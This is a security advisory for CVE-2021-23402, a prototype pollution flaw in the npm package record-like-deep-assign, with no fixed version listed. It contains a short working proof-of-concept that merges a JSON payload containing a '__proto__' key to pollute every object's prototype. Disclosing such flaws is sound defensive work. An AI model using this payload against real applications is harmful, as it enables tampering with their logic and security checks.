Advisory

GHSA-7qm6-9v49-38m9

Also known as: CVE-2021-23402

Summary

Prototype Pollution in record-like-deep-assign

Details

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

Severity

High Basis: The source's own band: HIGH

Dates

Published
2021-12-10 18:55 UTC
Modified
2026-03-13 22:11 UTC

Affected packages and fixes

record-like-deep-assign

npm · All systems

Affected

  • introduced 0, last affected 1.0.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences